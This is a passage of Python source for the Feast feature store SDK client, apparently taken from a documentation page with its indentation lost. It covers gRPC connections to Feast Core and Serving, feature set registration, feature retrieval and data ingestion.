if os.getenv(FEAST_CORE_URL_ENV_KEY) is not None:
return os.getenv(FEAST_CORE_URL_ENV_KEY)
return ""
@core_url.setter
def core_url(self, value: str):
"""
Set the Feast Core URL
Returns:
Feast Core URL string
"""
self._core_url = value
@property
def serving_url(self) -> str:
"""
Retrieve Serving Core URL
"""
if self._serving_url is not None:
return self._serving_url
if os.getenv(FEAST_SERVING_URL_ENV_KEY) is not None:
return os.getenv(FEAST_SERVING_URL_ENV_KEY)
return ""
@serving_url.setter
def serving_url(self, value: str):
"""
Set the Feast Serving URL
Returns:
Feast Serving URL string
"""
self._serving_url = value
[docs] def version(self):
"""
Returns version information from Feast Core and Feast Serving
"""
self._connect_core()
self._connect_serving()
core_version = ""
serving_version = ""
core_status = "not connected"
serving_status = "not connected"
try:
core_version = self._core_service_stub.GetFeastCoreVersion(
GetFeastCoreVersionRequest(), timeout=GRPC_CONNECTION_TIMEOUT_DEFAULT
).version
core_status = "connected"
except grpc.RpcError as e:
print(format_grpc_exception("GetFeastCoreVersion", e.code(), e.details()))
try:
serving_version = self._serving_service_stub.GetFeastServingInfo(
GetFeastServingInfoRequest(), timeout=GRPC_CONNECTION_TIMEOUT_DEFAULT
).version
serving_status = "connected"
except grpc.RpcError as e:
print(format_grpc_exception("GetFeastServingInfo", e.code(), e.details()))
return {
"core": {
"url": self.core_url,
"version": core_version,
"status": core_status,
},
"serving": {
"url": self.serving_url,
"version": serving_version,
"status": serving_status,
},
}
def _connect_core(self, skip_if_connected: bool = True):
"""
Connect to Core API
Args:
skip_if_connected: Do not attempt to connect if already connected
"""
if skip_if_connected and self._core_service_stub:
return
if not self.core_url:
raise ValueError("Please set Feast Core URL.")
if self.__core_channel is None:
self.__core_channel = grpc.insecure_channel(self.core_url)
try:
grpc.channel_ready_future(self.__core_channel).result(
timeout=GRPC_CONNECTION_TIMEOUT_DEFAULT
)
except grpc.FutureTimeoutError:
print(
f"Connection timed out while attempting to connect to Feast Core gRPC server {self.core_url}"
)
sys.exit(1)
else:
self._core_service_stub = CoreServiceStub(self.__core_channel)
def _connect_serving(self, skip_if_connected=True):
"""
Connect to Serving API
Args:
skip_if_connected: Do not attempt to connect if already connected
"""
if skip_if_connected and self._serving_service_stub:
return
if not self.serving_url:
raise ValueError("Please set Feast Serving URL.")
if self.__serving_channel is None:
self.__serving_channel = grpc.insecure_channel(self.serving_url)
try:
grpc.channel_ready_future(self.__serving_channel).result(
timeout=GRPC_CONNECTION_TIMEOUT_DEFAULT
)
except grpc.FutureTimeoutError:
print(
f"Connection timed out while attempting to connect to Feast Serving gRPC server {self.serving_url} "
)
sys.exit(1)
else:
self._serving_service_stub = ServingServiceStub(self.__serving_channel)
[docs] def apply(self, feature_sets: Union[List[FeatureSet], FeatureSet]):
"""
Idempotently registers feature set(s) with Feast Core. Either a single
feature set or a list can be provided.
Args:
feature_sets: List of feature sets that will be registered
"""
if not isinstance(feature_sets, list):
feature_sets = [feature_sets]
for feature_set in feature_sets:
if isinstance(feature_set, FeatureSet):
self._apply_feature_set(feature_set)
continue
raise ValueError(
f"Could not determine feature set type to apply {feature_set}"
)
def _apply_feature_set(self, feature_set: FeatureSet):
"""
Registers a single feature set with Feast
Args:
feature_set: Feature set that will be registered
"""
self._connect_core()
feature_set._client = self
valid, message = feature_set.is_valid()
if not valid:
raise Exception(message)
try:
# Convert the feature set to a request and send to Feast Core
apply_fs_response = self._core_service_stub.ApplyFeatureSet(
ApplyFeatureSetRequest(feature_set=feature_set.to_proto()),
timeout=GRPC_CONNECTION_TIMEOUT_APPLY,
) # type: ApplyFeatureSetResponse
# Extract the returned feature set
applied_fs = FeatureSet.from_proto(apply_fs_response.feature_set)
# If the feature set has changed, update the local copy
if apply_fs_response.status == ApplyFeatureSetResponse.Status.CREATED:
print(
f'Feature set updated/created: "{applied_fs.name}:{applied_fs.version}".'
)
# Deep copy from the returned feature set to the local feature set
feature_set._update_from_feature_set(applied_fs, is_dirty=False)
return
# If no change has been applied, do nothing
if apply_fs_response.status == ApplyFeatureSetResponse.Status.NO_CHANGE:
print(f"No change detected in feature set {feature_set.name}")
return
except grpc.RpcError as e:
print(format_grpc_exception("ApplyFeatureSet", e.code(), e.details()))
[docs] def list_feature_sets(self) -> List[FeatureSet]:
"""
Retrieve a list of feature sets from Feast Core
Returns:
List of feature sets
"""
self._connect_core()
try:
# Get latest feature sets from Feast Core
feature_set_protos = self._core_service_stub.ListFeatureSets(
ListFeatureSetsRequest()
) # type: ListFeatureSetsResponse
except grpc.RpcError as e:
raise Exception(
format_grpc_exception("ListFeatureSets", e.code(), e.details())
)
# Extract feature sets and return
feature_sets = []
for feature_set_proto in feature_set_protos.feature_sets:
feature_set = FeatureSet.from_proto(feature_set_proto)
feature_set._client = self
feature_sets.append(feature_set)
return feature_sets
[docs] def get_feature_set(
self, name: str, version: int = None, fail_if_missing: bool = False
) -> Union[FeatureSet, None]:
"""
Retrieves a feature set. If no version is specified then the latest
version will be returned.
Args:
name: Name of feature set
version: Version of feature set
fail_if_missing: Raise an error if feature set is not found
Returns:
Returns either the specified feature set, or None if not found
"""
self._connect_core()
try:
name = name.strip()
if version is None:
version = 0
get_feature_set_response = self._core_service_stub.GetFeatureSet(
GetFeatureSetRequest(name=name, version=version)
) # type: GetFeatureSetResponse
feature_set = get_feature_set_response.feature_set
except grpc.RpcError as e:
print(format_grpc_exception("GetFeatureSet", e.code(), e.details()))
else:
if feature_set is not None:
return FeatureSet.from_proto(feature_set)
if fail_if_missing:
raise Exception(
f'Could not find feature set with name "{name}" and '
f'version "{version}"'
)
[docs] def list_entities(self) -> Dict[str, Entity]:
"""
Returns a dictionary of entities across all feature sets
Returns:
Dictionary of entities, indexed by name
"""
entities_dict = OrderedDict()
for fs in self.list_feature_sets():
for entity in fs.entities:
entities_dict[entity.name] = entity
return entities_dict
[docs] def get_batch_features(
self, feature_ids: List[str], entity_rows: pd.DataFrame
) -> Job:
"""
Retrieves historical features from a Feast Serving deployment.
Args:
feature_ids: List of feature ids that will be returned for each
entity. Each feature id should have the following format
"feature_set_name:version:feature_name".
entity_rows: Pandas dataframe containing entities and a 'datetime'
column. Each entity in a feature set must be present as a column
in this dataframe. The datetime column must
Returns:
Returns a job object that can be used to monitor retrieval progress
asynchronously, and can be used to materialize the results
Examples:
>>> from feast import Client
>>> from datetime import datetime
>>>
>>> feast_client = Client(core_url="localhost:6565", serving_url="localhost:6566")
>>> feature_ids = ["customer:1:bookings_7d"]
>>> entity_rows = pd.DataFrame(
>>> {
>>> "datetime": [pd.datetime.now() for _ in range(3)],
>>> "customer": [1001, 1002, 1003],
>>> }
>>> )
>>> feature_retrieval_job = feast_client.get_batch_features(feature_ids, entity_rows)
>>> df = feature_retrieval_job.to_dataframe()
>>> print(df)
"""
self._connect_serving()
try:
fs_request = _build_feature_set_request(feature_ids)
# Validate entity rows based on entities in Feast Core
self._validate_entity_rows_for_batch_retrieval(entity_rows, fs_request)
# We want the timestamp column naming to be consistent with the
# rest of Feast
entity_rows.columns = [
"event_timestamp" if col == "datetime" else col
for col in entity_rows.columns
]
# Remove timezone from datetime column
if isinstance(
entity_rows["event_timestamp"].dtype,
pd.core.dtypes.dtypes.DatetimeTZDtype,
):
entity_rows["event_timestamp"] = pd.DatetimeIndex(
entity_rows["event_timestamp"]
).tz_localize(None)
# Retrieve serving information to determine store type and
# staging location
serving_info = self._serving_service_stub.GetFeastServingInfo(
GetFeastServingInfoRequest(), timeout=GRPC_CONNECTION_TIMEOUT_DEFAULT
) # type: GetFeastServingInfoResponse
if serving_info.type != FeastServingType.FEAST_SERVING_TYPE_BATCH:
raise Exception(
f'You are connected to a store "{self._serving_url}" which '
f"does not support batch retrieval "
)
# Export and upload entity row dataframe to staging location
# provided by Feast
staged_file = export_dataframe_to_staging_location(
entity_rows, serving_info.job_staging_location
) # type: str
request = GetBatchFeaturesRequest(
feature_sets=fs_request,
dataset_source=DatasetSource(
file_source=DatasetSource.FileSource(
file_uris=[staged_file], data_format=DataFormat.DATA_FORMAT_AVRO
)
),
)
# Retrieve Feast Job object to manage life cycle of retrieval
response = self._serving_service_stub.GetBatchFeatures(request)
return Job(response.job, self._serving_service_stub)
except grpc.RpcError as e:
print(format_grpc_exception("GetBatchFeatures", e.code(), e.details()))
def _validate_entity_rows_for_batch_retrieval(
self, entity_rows, feature_sets_request
):
"""
Validate whether an entity_row dataframe contains the correct
information for batch retrieval
Args:
entity_rows: Pandas dataframe containing entities and datetime
column. Each entity in a feature set must be present as a
column in this dataframe.
feature_sets_request: Feature sets that will be requested
"""
# Ensure datetime column exists
if "datetime" not in entity_rows.columns:
raise ValueError(
f'Entity rows does not contain "datetime" column in columns '
f"{entity_rows.columns}"
)
# Validate dataframe columns based on feature set entities
for feature_set in feature_sets_request:
fs = self.get_feature_set(
name=feature_set.name, version=feature_set.version
)
if fs is None:
raise ValueError(
f'Feature set "{feature_set.name}:{feature_set.version}" '
f"could not be found"
)
for entity_type in fs.entities:
if entity_type.name not in entity_rows.columns:
raise ValueError(
f'Dataframe does not contain entity "{entity_type.name}"'
f' column in columns "{entity_rows.columns}"'
)
[docs] def get_online_features(
self,
feature_ids: List[str],
entity_rows: List[GetOnlineFeaturesRequest.EntityRow],
) -> GetOnlineFeaturesResponse:
"""
Retrieves the latest online feature data from Feast Serving
Args:
feature_ids: List of feature Ids in the following format
[feature_set_name]:[version]:[feature_name]
example:
["feature_set_1:6:my_feature_1",
"feature_set_1:6:my_feature_2",]
entity_rows: List of GetFeaturesRequest.EntityRow where each row
contains entities. Timestamp should not be set for online
retrieval. All entity types within a feature
Returns:
Returns a list of maps where each item in the list contains the
latest feature values for the provided entities
"""
self._connect_serving()
try:
response = self._serving_service_stub.GetOnlineFeatures(
GetOnlineFeaturesRequest(
feature_sets=_build_feature_set_request(feature_ids),
entity_rows=entity_rows,
)
) # type: GetOnlineFeaturesResponse
except grpc.RpcError as e:
print(format_grpc_exception("GetOnlineFeatures", e.code(), e.details()))
else:
return response
[docs] def ingest(
self,
feature_set: Union[str, FeatureSet],
source: Union[pd.DataFrame, str],
version: int = None,
force_update: bool = False,
max_workers: int = CPU_COUNT,
disable_progress_bar: bool = False,
chunk_size: int = 5000,
timeout: int = None,
):
"""
Loads feature data into Feast for a specific feature set.
Args:
feature_set: Name of feature set or a feature set object
source: Either a file path or Pandas Dataframe to ingest into Feast
Files that are currently supported:
* parquet
* csv
* json
version: Feature set version
force_update: Automatically update feature set based on source data
prior to ingesting. This will also register changes to Feast
max_workers: Number of worker processes to use to encode values
disable_progress_bar: Disable printing of progress statistics
chunk_size: Maximum amount of rows to load into memory and ingest at
a time
timeout: Seconds to wait before ingestion times out
"""
if isinstance(feature_set, FeatureSet):
name = feature_set.name
if version is None:
version = feature_set.version
elif isinstance(feature_set, str):
name = feature_set
else:
raise Exception(f"Feature set name must be provided")
table = _read_table_from_source(source)
# Update the feature set based on DataFrame schema
if force_update:
# Use a small as reference DataFrame to infer fields
ref_df = table.to_batches(max_chunksize=20)[0].to_pandas()
feature_set.infer_fields_from_df(
ref_df, discard_unused_fields=True, replace_existing_features=True
)
self.apply(feature_set)
feature_set = self.get_feature_set(name, version, fail_if_missing=True)
if feature_set.source.source_type == "Kafka":
ingest_table_to_kafka(
feature_set=feature_set,
table=table,
max_workers=max_workers,
disable_pbar=disable_progress_bar,
chunk_size=chunk_size,
timeout=timeout,
)
else:
raise Exception(
f"Could not determine source type for feature set "
f'"{feature_set.name}" with source type '
f'"{feature_set.source.source_type}"'
)
def _build_feature_set_request(feature_ids: List[str]) -> List[FeatureSetRequest]:
"""
Builds a list of FeatureSet objects from feature set ids in order to
retrieve feature data from Feast Serving
Args:
feature_ids: List of feature ids
("feature_set_name:version:feature_name")
"""
feature_set_request = dict() # type: Dict[str, FeatureSetRequest]
for feature_id in feature_ids:
fid_parts = feature_id.split(":")
if len(fid_parts) == 3:
feature_set, version, feature = fid_parts
else:
raise ValueError(
f"Could not parse feature id ${feature_id}, needs 2 colons"
)
if feature_set not in feature_set_request:
feature_set_request[feature_set] = FeatureSetRequest(
name=feature_set, version=int(version)
)
feature_set_request[feature_set].feature_names.append(feature)
return list(feature_set_request.values())
def _read_table_from_source(source: Union[pd.DataFrame, str]) -> pa.lib.Table:
"""
Infers a data source type (path or Pandas Dataframe) and reads it in as
a PyArrow Table.
Args:
source: Either a string path or Pandas Dataframe
Returns:
PyArrow table
"""
# Pandas dataframe detected
if isinstance(source, pd.DataFrame):
table = pa.Table.from_pandas(df=source)
# Inferring a string path
elif isinstance(source, str):
file_path = source
filename, file_ext = os.path.splitext(file_path)
if ".csv" in file_ext:
from pyarrow import csv
table = csv.read_csv(filename)
elif ".json" in file_ext:
from pyarrow import json
table = json.read_json(filename)
else:
table = pq.read_table(file_path)
else:
raise ValueError(f"Unknown data source provided for ingestion: {source}")
# Ensure that PyArrow table is initialised
assert isinstance(table, pa.lib.Table)
return table